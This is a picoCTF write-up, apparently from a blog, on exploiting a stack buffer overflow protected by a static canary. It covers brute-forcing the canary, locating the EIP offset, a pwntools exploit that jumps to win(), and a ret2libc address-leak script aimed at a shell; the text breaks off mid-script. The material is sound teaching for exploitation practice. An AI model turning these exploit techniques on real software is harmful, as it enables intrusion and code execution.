Intro
Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows.
We are given compiled binary, its source and the host and port where challenge is hosted.
- saturn.picoctf.net 63181
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
Binary Protection Mechanisms
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
Running the application
We need to create flag.txt
with sample flag and canary.txt
file with 4 byte canary string. I chose the word CAFE
as the canary string for testing locally. The size of canary is defined in the source code as #define CANARY_SIZE 4
. The application reads the canary string from the canary.txt file and places it somewhere in memory.
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 5
Input> AAAAA
Ok... Now Where's the Flag?
The application asks the user for the number of bytes to write to buffer followed by the input that will be read into the buffer.
We know from the source code that the buffer size is 64 bytes - #define BUFSIZE 64
. We can see an obvious buffer overflow issue with the second read()
function. The user can define the number of bytes for the input to be read by the read()
function. If the user specifies any number greater 64 and supplies that many byte long input, we will have a buffer overflow.
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
To test this, we can specify the user input length as 64 and supply a string of length 64 as input. This shouldn’t crash the application as we are reading input that will fit into the 64 byte buffer.
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 64
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ok... Now Where's the Flag?
The application does not crash. Now, let see if the application crashes if we provide a user input of 65 length. We provide 64 A’s and 1 B as input string.
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
***** Stack Smashing Detected ***** : Canary Value Corrupt!
Instead of seeing segmentation fault
, we see ***** Stack Smashing Detected ***** : Canary Value Corrupt!
.
This means that we indeed have a buffer overflow and it seems we overwrote stack canary as well.
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(-1);
This would mean that the stack canary is stored just after the 64 byte buffer where the user input is stored. If we are to send 68 character input, the characters from 65th to 68 would overwrite the canary string.
Approach to finding Canary
I played around with the application for a bit to see how it would respond for different user inputs. We set the debug canary as the string CAFE
.
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 64
Input> AAAA
Ok... Now Where's the Flag?
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
***** Stack Smashing Detected ***** : Canary Value Corrupt!
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
***** Stack Smashing Detected ***** : Canary Value Corrupt!
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC
Ok... Now Where's the Flag?
When sending 64 A's
and and a C
as user input, we see that the application does not crash and behaves normally as we can see the output Ok... Now Where's the Flag?
. This means that we overwrote the first character of the canary, but with the correct character. When we specified the 65th character as A and B, the application showed the error ***** Stack Smashing Detected ***** : Canary Value Corrupt!
. However, with C
as 65th character, application behaves normally.
This means that we can bruteforce the application to reveal the canary string, one character at a time. We found out that the canary string starts at the offset 64 of user input. To find the canary string we can use following approach.
- First character of Canary
- Input length 65
- Input = 64 A’s + X, where X is one character from all printable characters
- Send the above input to the application, iterating X over all characters from printable characters till we receive
Ok... Now Where's the Flag?
.
- Second character of Canary
- Input length 66
- Input = 64 A’s + C1 + X, where C1 is obtained from previous step and X is one character from all printable characters
- Send the above input to the application, iterating X over all characters from printable characters till we receive
Ok... Now Where's the Flag?
.
- Third character of Canary
- Input length 67
- Input = 64 A’s + C1 + C2 + X, where C1, C2 are obtained from previous steps and X is one character from all printable characters
- Send the above input to the application, iterating X over all characters from printable characters till we receive
Ok... Now Where's the Flag?
.
- Fourth character of Canary
- Input length 68
- Input = 64 A’s + C1 + C2 + C3 + X, where C1, C2, C3 are obtained from previous steps and X is one character from all printable characters
- Send the above input to the application, iterating X over all characters from printable characters till we receive
Ok... Now Where's the Flag?
.
Bruteforcing canaries:
from pwn import *
import sys
import string
canary_offset = 64
canary_size = 4
canary = b""
chall = ELF("./vuln")
def get_process():
if args.REMOTE:
r = remote('saturn.picoctf.net', args.PORT)
return r
else:
return chall.process()
for i in range(1,5):
for canary_char in string.printable:
r = get_process()
r.sendlineafter(b"> ", b"%d" % (canary_offset + i))
payload = b"A"* canary_offset + canary
payload += canary_char.encode()
r.sendlineafter(b"> ", payload)
resp = r.recvall()
print (resp)
if b"Now Where's the Flag" in resp:
canary += canary_char.encode()
break
r.close()
print (canary)
Testing locally.
$ python poc.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 3700
[+] Receiving all data: Done (60B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 255 (pid 3700)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[......]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 3814
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 3814)
b"Ok... Now Where's the Flag?\n"
[......]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 3925
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 3925)
b"Ok... Now Where's the Flag?\n"
[......]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 4055
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 4055)
b"Ok... Now Where's the Flag?\n"
[......]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 4178
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 4178)
b"Ok... Now Where's the Flag?\n"
b'CAFE'
The script was able to bruteforce the Canary value after so many attemtps.
Smashing the Stack for real
Running the application in debugger and sending an input of length 300. The input string is generated as follows.
>>> "A"*64 + "CAFE" + "B"* (300-4-64)
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
The application crashes and EIP is overwritten with 0x42424242
.
$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r
Starting program: /home/kali/Desktop/rop/pico-bo3/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 300
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Ok... Now Where's the Flag?
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x42424242 ('BBBB')
ECX: 0x6c0
EDX: 0xb7e229b4 --> 0x0
ESI: 0xbffff194 --> 0xbffff35a ("/home/kali/Desktop/rop/pico-bo3/vuln")
EDI: 0xb7ffeb80 --> 0x0
EBP: 0x42424242 ('BBBB')
ESP: 0xbffff0b0 ('B' <repeats 200 times>...)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 ('B' <repeats 200 times>...)
0004| 0xbffff0b4 ('B' <repeats 200 times>...)
0008| 0xbffff0b8 ('B' <repeats 200 times>...)
0012| 0xbffff0bc ('B' <repeats 200 times>...)
0016| 0xbffff0c0 ('B' <repeats 196 times>, "0\331", <incomplete sequence \374\267>...)
0020| 0xbffff0c4 ('B' <repeats 192 times>, "0\331\374\267\214\361\377\277"...)
0024| 0xbffff0c8 ('B' <repeats 188 times>, "0\331\374\267\214\361\377\277@\372\377\267"...)
0028| 0xbffff0cc ('B' <repeats 184 times>, "0\331\374\267\214\361\377\277@\372\377\267\001")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$
Finding EIP Offset
We will send an input of length 300 which consist of the following.
"A" * 64 + "CAFE" + (300 - 64 - 4) Long Pattern
$ msf-pattern_create -l 232
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A
Input =>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A
$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r
Starting program: /home/kali/Desktop/rop/pico-bo3/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 300
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A
Ok... Now Where's the Flag?
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x33614132 ('2Aa3')
ECX: 0x6c0
EDX: 0xb7e229b4 --> 0x0
ESI: 0xbffff194 --> 0xbffff35a ("/home/kali/Desktop/rop/pico-bo3/vuln")
EDI: 0xb7ffeb80 --> 0x0
EBP: 0x41346141 ('Aa4A')
ESP: 0xbffff0b0 ("6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A"...)
EIP: 0x61413561 ('a5Aa')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61413561
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 ("6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A"...)
0004| 0xbffff0b4 ("Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah"...)
[.....]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61413561 in ?? ()
gdb-peda$
Finding Offset:
$ msf-pattern_offset -q 0x61413561
[*] Exact match at offset 16
So sending below string would overwrite EIP with ‘0x42424242’.
# CAFE is debug canary.
# Canary Offset - 64
# EIP Offset at 84
# Input Length = 300
>>> "A" * 64 + "CAFE" + "A" * 16 + "BBBB" + "C" * (300 - 64 - 4 - 16 - 4)
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'
Controlling EIP.
$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r
Starting program: /home/kali/Desktop/rop/pico-bo3/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 300
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Ok... Now Where's the Flag?
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0x6c0
EDX: 0xb7e229b4 --> 0x0
ESI: 0xbffff194 --> 0xbffff35a ("/home/kali/Desktop/rop/pico-bo3/vuln")
EDI: 0xb7ffeb80 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff0b0 ('C' <repeats 200 times>...)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 ('C' <repeats 200 times>...)
0004| 0xbffff0b4 ('C' <repeats 200 times>...)
0008| 0xbffff0b8 ('C' <repeats 200 times>...)
0012| 0xbffff0bc ('C' <repeats 200 times>...)
0016| 0xbffff0c0 ('C' <repeats 196 times>, "0\331", <incomplete sequence \374\267>...)
0020| 0xbffff0c4 ('C' <repeats 192 times>, "0\331\374\267\214\361\377\277"...)
0024| 0xbffff0c8 ('C' <repeats 188 times>, "0\331\374\267\214\361\377\277@\372\377\267"...)
0028| 0xbffff0cc ('C' <repeats 184 times>, "0\331\374\267\214\361\377\277@\372\377\267\001")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$
gdb-peda$ x/30xw $esp
0xbffff0b0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0c0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0d0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0e0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0f0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff100: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff110: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff120: 0x43434343 0x43434343
gdb-peda$
We successfully overwrote EIP with 0x42424242
and esp points to enough space on stack where we can store gadgets or shellcode.
Getting the flag
To get the flag, we just need to redirect the execution to the win function.
from pwn import *
import sys
import string
canary_offset = 64
canary_size = 4
canary = b""
chall = ELF("./vuln")
def get_process():
if args.REMOTE:
r = remote('saturn.picoctf.net', args.PORT)
return r
else:
return chall.process()
for i in range(1,5):
for canary_char in string.printable:
r = get_process()
r.sendlineafter(b"> ", b"%d" % (canary_offset + i))
payload = b"A"* canary_offset + canary
payload += canary_char.encode()
r.sendlineafter(b"> ", payload)
resp = r.recvall()
print (resp)
if b"Now Where's the Flag" in resp:
canary += canary_char.encode()
break
r.close()
if not len(canary) == 4:
print ("[-] Failed to find canary!")
sys.exit()
else:
print ("[+] Found canary : %s" % canary.decode())
# gdb-peda$ p win
# $1 = {<text variable, no debug info>} 0x8049336 <win>
win = 0x8049336
payload = b"A" * 64 # canary offset 64
payload += canary
payload += b"A" * 16 # eip offset 16 from canary
payload += p32(win)
r = get_process()
r.sendlineafter(b"> ", b"%d" % len(payload))
r.sendlineafter(b"> ", payload)
resp = r.recvall()
print (resp)
Running locally.
$ python poc.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 13755
[+] Receiving all data: Done (60B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 255 (pid 13755)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[.....]
[.....]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 14233
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 14233)
b"Ok... Now Where's the Flag?\n"
[+] Found canary : CAFE
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 14236
[+] Receiving all data: Done (51B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 14236)
b"Ok... Now Where's the Flag?\nPICO{TESTFLAG_MEEEEH}\n\n"
We got the flag locally. Testing against challenge machine.
$ python poc.py REMOTE PORT=55797
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (128B)
[*] Closed connection to saturn.picoctf.net port 55797
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0\r\n***** Stack Smashing Detected ***** : Canary Value Corrupt!\r\n'
[.....]
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (96B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB\r\nOk... Now Where's the Flag?\r\n"
[.....]
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (97B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABi\r\nOk... Now Where's the Flag?\r\n"
[.....]
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (98B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiR\r\nOk... Now Where's the Flag?\r\n"
[.....]
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (99B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd\r\nOk... Now Where's the Flag?\r\n"
[+] Found canary : BiRd
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (162B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAAAAAAAAAAAAAAA6\x93^H\r\nOk... Now Where's the Flag?\r\npicoCTF{Stat1C_c4n4r13s_4R3_b4D_452999ae}\r\n"
And we got the flag.
Getting a shell
Available functions in the binary. We can use puts@plt
to leak addresses of functions.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049130 read@plt
0x08049140 printf@plt
0x08049150 fflush@plt
0x08049160 fgets@plt
0x08049170 fclose@plt
0x08049180 memcmp@plt
0x08049190 getegid@plt
0x080491a0 fread@plt
0x080491b0 puts@plt
0x080491c0 exit@plt
0x080491d0 __libc_start_main@plt
0x080491e0 __isoc99_sscanf@plt
0x080491f0 setvbuf@plt
0x08049200 fopen@plt
0x08049210 setresgid@plt
0x08049220 _start
0x08049260 _dl_relocate_static_pie
0x08049270 __x86.get_pc_thunk.bx
0x08049280 deregister_tm_clones
0x080492c0 register_tm_clones
0x08049300 __do_global_dtors_aux
0x08049330 frame_dummy
0x08049336 win
0x080493e9 read_canary
0x08049489 vuln
0x080495c4 main
0x08049640 __libc_csu_init
0x080496b0 __libc_csu_fini
0x080496b5 __x86.get_pc_thunk.bp
0x080496bc _fini
gdb-peda$
Leaking [email protected]
and [email protected]
using puts@plt
.
from pwn import *
import sys
import string
canary_offset = 64
canary_size = 4
canary = b""
chall = ELF("./vuln")
def get_process():
if args.REMOTE:
r = remote('saturn.picoctf.net', args.PORT)
return r
else:
return chall.process()
for i in range(1,5):
for canary_char in string.printable:
r = get_process()
r.sendlineafter(b"> ", b"%d" % (canary_offset + i))
payload = b"A"* canary_offset + canary
payload += canary_char.encode()
r.sendlineafter(b"> ", payload)
resp = r.recvall()
print (resp)
if b"Now Where's the Flag" in resp:
canary += canary_char.encode()
break
r.close()
if not len(canary) == 4:
print ("[-] Failed to find canary!")
sys.exit()
else:
print ("[+] Found canary : %s" % canary.decode())
# gdb-peda$ p win
# $1 = {<text variable, no debug info>} 0x8049336 <win>
win = 0x8049336
# buf = .bss
# 25 .bss 00000008 0804c050 0804c050 00003050 2**2
buf = 0x0804c050
read_plt = chall.plt["read"]
puts_plt = chall.plt["puts"]
main = chall.symbols["main"]
# addresses to leak
read_got_plt = chall.got["read"]
puts_got_plt = chall.got["puts"]
def leak(got_address, len_leak):
payload = b"A" * 64 # canary offset 64
payload += canary
payload += b"A" * 16 # eip offset 16 from canary
payload += p32(puts_plt)
payload += p32(main) # ret address of puts, return to main
payload += p32(got_address) # address to leak
r = get_process()
r.sendlineafter(b"> ", b"%d" % len(payload))
r.sendlineafter(b"> ", payload)
resp = r.recvall()
return resp.split(b"\n")[1][0:len_leak]
#return resp
# leaking puts address
puts_leaked = leak(puts_got_plt, 4)
puts_leaked_addr = u32(puts_leaked)
print ("[*] Leaked puts() address : ", hex(puts_leaked_addr))
read_leaked = leak(read_got_plt, 4)
read_leaked_addr = u32(read_leaked)
print ("[*] Leaked read() address : ", hex(read_leaked_addr))
Running locally.
$ python poc-final.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 4583
[+] Receiving all data: Done (60B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 255 (pid 4583)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[.....]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 5062
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 5062)
b"Ok... Now Where's the Flag?\n"
[+] Found canary : CAFE
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 5065
[+] Receiving all data: Done (141B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 5065)
[*] Leaked puts() address : 0xb7c70ea0
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 5068
[+] Receiving all data: Done (173B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 5068)
[*] Leaked read() address : 0xb7d05440
Identifying libc version by using lib-database. All of below are showing up in the search results. Assuming that all of them has same offsets for functions.
libc6_2.35-2_i386
libc6_2.35-4_i386
libc6_2.35-0experimental3_i386
libc6_2.35-3_i386
libc6_2.35-1_i386
I chose the first one and copied required offsets to the exploit.
puts 0x70ea0
read 0x105440
str_bin_sh 0x1b40ce
system 0x47040
Updated the exploit to perform the following and get a shell.
- Find libc base address using leaked
puts
address andputs offset
. - Find address of
system
by usingsystem offset
andlibc base address
. - Find address of
/bin/sh
string using its offset and libc base address. - Calling
system
with the calculated address ofsystem
and/bin/sh
string.
Updated exploit.
from pwn import *
import sys
import string
canary_offset = 64
canary_size = 4
canary = b""
chall = ELF("./vuln")
def get_process():
if args.REMOTE:
